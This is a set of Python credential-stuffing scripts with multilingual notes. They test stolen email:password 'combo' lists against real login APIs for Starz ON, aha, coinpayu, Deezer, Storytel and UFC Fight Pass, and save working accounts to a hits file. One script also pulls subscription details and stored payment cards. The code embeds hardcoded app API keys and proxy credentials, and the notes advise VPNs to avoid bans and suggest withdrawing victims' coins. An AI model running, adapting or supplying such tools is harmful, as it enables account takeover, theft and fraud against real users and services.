kretos python

import requests
import uuid

man = str(uuid.uuid4())
cobmo = 'o.txt'
try:
 with open(cobmo, 'r') as mustafaf:
  for msufaafaf in mustafaf:
   em,pa = msufaafaf.strip().split(':')
   url = "https://api.aws.playco.com/api/v1.0/geolocation/country"
   headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Pragma": "no-cache", "Accept": "*/*"}
   response = requests.get(url, headers=headers)
   con = response.json()['country']
   
   url = "https://api.aws.playco.com/api/v1.0/token"
   headers = {"Host": "api.aws.playco.com", "Content-Type": "application/json; charset=UTF-8", "Accept-Encoding": "gzip, deflate, br", "X-Geo-Country": con, "User-Agent": "STARZ ON/StarzAPP(com.parsifal.starz;build:3073;Android:7.1.2)", "Accept": "application/json", "Client-Type": "Android", "X-App-Ad-Id": man}
   payload = {"username": em, "password": pa}
   response = requests.post(url, json=payload, headers=headers)
   if 'userId' in response.text: 
    user = response.json()["userId"]
    tok = response.json()['token']
    
    url = "https://api.aws.playco.com/api/v0.2/userAccounts/{}".format(user)
    headers = {"Host": "api.aws.playco.com", "Authorization": "Bearer {}".format(tok), "Accept-Encoding": "gzip, deflate, br", "X-Geo-Country": con, "X-Profile-Id": user, "X-Profile-Category": "ADULT", "X-User-Id": user, "User-Agent": "STARZ ON/StarzAPP(com.parsifal.starz;build:3073;Android:7.1.2)", "Accept": "application/json", "Client-Type": "Android", "X-App-Ad-Id": man}
    response = requests.get(url, headers=headers)
    data = response.json()
    
    if 'subscriptionType' in data:
     print("good login : {}:{}\nSubscription: {}\nFree Trial: {}\nActive: {}\nVerified: {}\nCountry: {}\nProfile: {}\nMax Profiles: {}".format(em,pa, data['subscriptionType'], data['settings']['freeTrial'], data['isActive'], data['isVerified'], con, data['profileName'], data['maxProfiles']))
     with open('hits.txt', 'a') as alalalal:
      alalalal.write("{}:{}\nSubscription: {}\nFree Trial: {}\nActive: {}\nVerified: {}\nCountry: {}\nProfile: {}\nMax Profiles: {}\n\n".format(em,pa, data['subscriptionType'], data['settings']['freeTrial'], data['isActive'], data['isVerified'], con, data['profileName'], data['maxProfiles']))
    else:
     print("bad login : {}:{}".format(em,pa))
   else:
    print('bad login : {}:{}'.format(em,pa))
except FileNotFoundError:
 print('no combo ')

import requests
username = "geonode_rQPeUhXDlo-type-residential"
password = "aa4c72dc-f4fa-4a68-9606-7de705637084"
GEONODE_DNS = "proxy.geonode.io:9000"
urlToGet = "http://ip-api.com"
proxy = {"http":"http://{}:{}@{}".format(username, password, GEONODE_DNS)}
r = requests.get(urlToGet , proxies=proxy)
print(proxy)

import requests
from concurrent.futures import ThreadPoolExecutor

filess = 'o.txt'
def msuahajsdjjs(muss):
    
        user, password = muss.strip().split(':')
        
        url = "https://rest-prod-aha.evergent.com/aha/getOAuthAccessTokenv2"
        headers = {
            "Host": "rest-prod-aha.evergent.com",
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "User-Agent": "aha/74 CFNetwork/3826.600.41 Darwin/24.6.0"
        }
        payload = {
            "GetOAuthAccessTokenv2RequestMessage": {
                "channelPartnerID": "ARHAMEDIA",
                "apiUser": "ahaapiuser",
                "apiPassword": "Aha@p!u$#r123#$",
                "contactPassword": password,
                "contactUserName": user,
                "deviceMessage": {
                    "os": "ios", "deviceName": "iPhone", "deviceType": "iosmobile", 
                    "serialNo": "536B2358-64A9-497F-8A76-885B9472575F", "modelNo": "iPhone 15 Pro Max", "appType": "iOS", "osVersion": -1
                }
            }
        }
        
        response = requests.post(url, json=payload, headers=headers)
        
        if 'accessToken' in response.text:
            res_json = response.json()["GetOAuthAccessTokenv2ResponseMessage"]
            token = res_json["accessToken"]
            cp_id = res_json["channelPartnerID"]
            
            url = "https://rest-prod-aha.evergent.com/aha/getContact"
            headers = {
                "Host": "rest-prod-aha.evergent.com",
                "Content-Type": "application/json",
                "Accept": "application/json, text/plain, */*",
                "User-Agent": "aha/74 CFNetwork/3826.600.41 Darwin/24.6.0",
                "Authorization": "Bearer {}".format(token)
            }
            payload = {
                "GetContactRequestMessage": {
                    "channelPartnerID": cp_id,
                    "apiPassword": "Aha@p!u$#r123#$",
                    "apiUser": "ahaapiuser"
                }
            }
            response = requests.post(url, json=payload, headers=headers)
            try: 
                contact_id = response.json()["GetContactResponseMessage"]["contactMessage"][0]["contactID"]
               
                url = "https://rest-prod-aha.evergent.com/aha/getEntitlements"
                payload = {
                    "GetEntitlementsRequestMessage": {
                        "channelPartnerID": cp_id,
                        "apiPassword": "Aha@p!u$#r123#$",
                        "apiUser": "ahaapiuser",
                        "contactID": contact_id
                    }
                }
                response = requests.post(url, json=payload, headers=headers)
                service = response.json()["GetEntitlementsResponseMessage"]["AccountServiceMessage"][0]
                
                plan_id = service["serviceID"]
                expiry = service["validityEndDate"].split(" ")[0]
                
                print("good login | {}:{} | Plan: {} | Expiry: {}".format(user, password, plan_id, expiry))
                with open('hits.txt', 'a') as mustafam:
                 mustafam.write("{}:{} | Plan: {} | Expiry: {}\n".format(user, password, plan_id, expiry))
            except:
                print("bad login | {}:{}".format(user, password))
        else:
            print("bad login | {}:{}".format(user, password))

try:
    with open(filess, 'r') as mustafa:
        lines = [line.strip() for line in mustafa if ':' in line]

    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(msuahajsdjjs, lines)

except FileNotFoundError:
    print('no combo')

تشـ ـكير على تطبيق aha الهندي مال افلام ومسلسلات من تشغل فلم لازم مشغل vpn على دوله الحساب يحتاج فقط كومبو بدون حظر

Checking the Indian AHA app for movies and series; if you want to play a movie, you need a VPN in the country where the account is located. Only a combo account is needed to avoid getting banned.

import requests
import json
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from datetime import datetime

filee = 'o.txt'

try:
    with open(filee, 'r') as mustafa:
        for aaa in mustafa:
            email, password = aaa.strip().split(':')
            token = "36d4635ae108fb89322cd4bee9aef7999eca4b17"
            
            key = token[3:19].encode('utf-8')
            js_str = json.dumps({"useremail": email, "pwd": password}, separators=(',', ':'))
            cipher = AES.new(key, AES.MODE_ECB)
            enc = base64.b64encode(cipher.encrypt(pad(js_str.encode('utf-8'), 16))).decode('utf-8')
            
            ts = int(datetime.now().timestamp() * 1000)
            tim = datetime.now().strftime("%I:%M:%S %p")
            sig = hashlib.md5("loginv2{0}{1}".format(ts, token).encode()).hexdigest()
            
            url = "https://ssd.coinpayu.com/user/loginv2"
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
                'Content-Type': 'application/json',
                'cts': str(ts),
                'cointoken': token,
                'vsid': 'fd2560ad-8431-4f81-9425-652a214852c5',
                'version': '202604091621',
                'origin': 'https://www.coinpayu.com',
                'referer': 'https://www.coinpayu.com/'
            }
            
            payload = {
                "login_credentials": enc,
                "recaptcha": {"g": "", "q": ""},
                "startTime": tim,
                "captchaTime": "",
                "sign": sig,
                "agree_active": 0,
                "login_info": ""
            }
            
            session = requests.Session()
            response = session.post(url, params={'lang': ''}, json=payload, headers=headers)
            
            
            if '"code":200' in response.text and 'token' in response.text and 'Clear account' not in response.text:
                print('good login : {0}:{1}'.format(email, password))
                print(response.text)
            else:
                print('bad login : {0}:{1}'.format(email, password))

except FileNotFoundError:
    print('no combo')

تشكـ ـير على موقع coinpayu.com موقع بيه عملات Bitcoin على حسب ما اعتقد تكدر تسحبهن المهم يحتاج كومـ ـبو وافحص اذا تنحـ ـظر شغل vpn

Check the coinpayu.com website, which I believe has Bitcoin. You can withdraw the coins, but you need a combo account. Check if you get banned. Use a VPN. 

Bitcoin'in de bulunduğu coinpayu.com sitesini kontrol edin. Paraları çekebilirsiniz, ancak karma bir hesaba ihtiyacınız var. Yasaklanıp yasaklanmadığınızı kontrol edin. VPN kullanın.

-1يتم فحص من ملف كومبو -2يوصلك صيد للبوت 3-ايميل + كلمه سرر

-1Check from a combo file -2Your boat catch will be sent to you -3 Email +Password

import requests

username = "geonode_rQPeUhXDlo-type-residential"
password = "95431d3a-c5b0-4000-ab0f-9e5b86def4f2"
GEONODE_DNS = "proxy.geonode.io:9000"
urlToGet = "http://ip-api.com"
proxy = {"http":"http://{}:{}@{}".format(username, password, GEONODE_DNS)}
r = requests.get(urlToGet , proxies=proxy)

print(proxy)

import requests
import json
import binascii
from Crypto.Cipher import AES
filee = 'o.txt'
try:
 with open(filee, 'r') as musf:
  for files in musf:
   email,paso = files.strip().split(':',1) 
   url = "https://api.deezer.com/1.0/gateway.php"
   headers = {
       'User-Agent': "Deezer/9.0.12.3 (Android; 16; Mobile; ar) HONOR BRP-NX1",
       'Accept-Encoding': "gzip",
       'Content-Type': "application/json; charset=utf-8"
   }
   key = bytes([0x56, 0x42, 0x4B, 0x31, 0x46, 0x53, 0x55, 0x45, 0x58, 0x48, 0x54, 0x53, 0x44, 0x42, 0x4A, 0x4A])
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'version': "9.0.12.3",
       'lang': "ar",
       'method': "mobile_auth"
   }
   response = requests.get(url, params=params, headers=headers).json()
   token = response["results"]["TOKEN"]
   decrypted = AES.new(key, AES.MODE_ECB).decrypt(binascii.unhexlify(token))
   string = decrypted[:64]
   kkey = decrypted[64:80]
   _key = decrypted[80:96]
   auth_token = binascii.hexlify(AES.new(kkey, AES.MODE_ECB).encrypt(string)).decode()
   url = "https://api.deezer.com/1.0/gateway.php"
   params = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'output': "3",
       'method': "api_checkToken",
       'auth_token': "{}".format(auth_token)
   }
   response = requests.get(url, params=params, headers=headers).json()
   sid = response["results"]
   pwd_bytes = paso.encode().ljust(16, b'\0')[:16]
   password = binascii.hexlify(AES.new(_key, AES.MODE_ECB).encrypt(pwd_bytes)).decode()
   
   params_auth = {
       'api_key': "4VCYIJUCDLOUELGD1V8WBVYBNVDYOXEWSLLZDONGBBDFVXTZJRXPR29JRLQFO6ZE",
       'method': "mobile_userAuth",
       'output': "3",
       'sid': "{}".format(sid)
   }
   payload = {
       "mail": email,
       "password": "{}".format(password)
   }
   response = requests.post(url, params=params_auth, data=json.dumps(payload), headers=headers)
   if 'USER_TOKEN' in response.text:
     info = response.json()
     Expiry = info['results']['PREMIUM']['DATE_END']
     Display = info['results']['PREMIUM']['OFFER_NAME']
     premiun = info['results']['PREMIUM']['STATUS']
     print('good login : {}:{} | Expiry : {} | Display : {} | premium : {}'.format(email,paso,Expiry,Display,premiun))
     with open('hits.txt', 'a') as mustafa:
      mustafa.write('{}:{} | Expiry : {} | Display : {} | premium : {}\n'.format(email,paso,Expiry,Display,premiun))
   else:
     print('bad login : {}:{}'.format(email, paso))   
except FileNotFoundError:
 print('bo combo')

طريقه فتح مميزات vip تطبيق PopDrama اخر إصدار 

How to unlock VIP features in the latest version of the PopDrama app 

PopDrama uygulamasının en son sürümünde VIP özelliklerinin kilidini nasıl açabilirsiniz

طريقه فتح مميزات vip تطبيق soda reels اخر إصدار 

How to unlock VIP features in the latest version of the Soda Reels app 

Soda Reels uygulamasının en son sürümünde VIP özelliklerinin kilidini nasıl açabilirsiniz

Explanation of how to extract a lock from the Viki program and perform a check

Viki programından bir kilidi nasıl çıkaracağınız ve kontrol işlemini nasıl gerçekleştireceğiniz hakkında açıklama

import requests
import json
from fake_useragent import UserAgent
ua = UserAgent()
list = input('file combo : ')
try:
 with open(list ,'r') as must:
  for mm in must:
   em,pa = mm.strip().split(':')
   url = "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword"
   params = {
  'key': "AIzaSyAPsaBlt8o0uw_h1wdx9gleKfsILNdhuUI"
}
   payload = {
  "returnSecureToken": True,
  "email": em,
  "password": pa,

}

   headers = {
  'User-Agent': ua.random,  
  'x-firebase-gmpid': "1:381837560703:web:67feae41b4ee9ff7eaa84a", 
  'origin': "https://www.storytel.com",  
  'x-browser-validation': "wCcOiMcbW36jORwkX+eCLcASbJM=",


}

   response = requests.post(url, params=params, data=json.dumps(payload), headers=headers)
   if 'kind' in response.text:
    print('good login : {}:{}'.format(em,pa))
    with open('hits.txt' , 'a') as f:
     f.write('{}:{}\n'.format(em,pa)) 
   else:
    print('bad login : {}:{}'.format(em,pa))
except:
 print('no combo')

import requests
import json
from concurrent.futures import ThreadPoolExecutor
list = input('combo : ')
proxy = {
# proxy Burada
}

def check(ll):    
        em,pa = ll.strip().split(':')
        url = "https://dce-frontoffice.imggaming.com/api/v2/login"
        
        payload = {
          "id": em,
          "secret": pa
        }
        
        headers = {
          'User-Agent': "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36",
          'Accept': "application/json, text/plain, */*",
          'Accept-Encoding': "gzip, deflate, br, zstd",
          'Content-Type': "application/json",
          'sec-ch-ua-platform': "\"Android\"",
          'accept-language': "en-US",
          'x-app-var': "6.60.0.5b860ea",
          'sec-ch-ua': "\"Google Chrome\";v=\"147\", \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"147\"",
          'realm': "dce.ufc",
          'x-api-key': "857a1e5d-e35e-4fdf-805b-a87b6f8364bf",
          'sec-ch-ua-mobile': "?1",
          'app': "dice",
          'origin': "https://ufcfightpass.com",
          'sec-fetch-site': "cross-site",
          'sec-fetch-mode': "cors",
          'sec-fetch-dest': "empty",
          'referer': "https://ufcfightpass.com/",
          'priority': "u=1, i"
        }
        
        response = requests.post(url, data=json.dumps(payload), headers=headers, proxies=proxy)
        
        if 'authorisationToken' in response.text:
            print('good login : {}:{}'.format(em,pa))
            token = response.json()['authorisationToken']
            url = "https://dce-frontoffice.imggaming.com/api/v2/user/profile"
            head = {
                "x-api-key": "857a1e5d-e35e-4fdf-805b-a87b6f8364bf",
                "Realm": "dce.ufc",
                "app": "dice",
                "Authorization": "Bearer " + str(token)
            }
            res = requests.get(url, headers=head, proxies=proxy)
            print(res.json())
            
            url = "https://dce-frontoffice.imggaming.com/api/v2/customer/cards"
            params = {
              'rpp': "20",
              'p': "1"
            }
            headers = {
  'User-Agent': "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36",
  'Accept': "application/json, text/plain, */*",
  'Accept-Encoding': "gzip, deflate, br, zstd",
  'sec-ch-ua-platform': "\"Android\"",
  "authorization": "Bearer " + str(token),
  'accept-language': "en-US",
  'x-app-var': "6.60.0.5b860ea",
  'sec-ch-ua': "\"Google Chrome\";v=\"147\", \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"147\"",
  'realm': "dce.ufc",
  'x-api-key': "857a1e5d-e35e-4fdf-805b-a87b6f8364bf",
  'sec-ch-ua-mobile': "?1",
  'app': "dice",
  'content-type': "application/json",
  'origin': "https://ufcfightpass.com",
  'sec-fetch-site': "cross-site",
  'sec-fetch-mode': "cors",
  'sec-fetch-dest': "empty",
  'referer': "https://ufcfightpass.com/",
  'priority': "u=1, i"
}

            response = requests.get(url, params=params, headers=headers)

            print(response.text)    
        else:
            print('bad login : {}:{}'.format(em,pa))
    
try:
    with open(list, 'r') as must:
        sufe = must.readlines()
    
    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(check, sufe)
except:
    print('no combo ')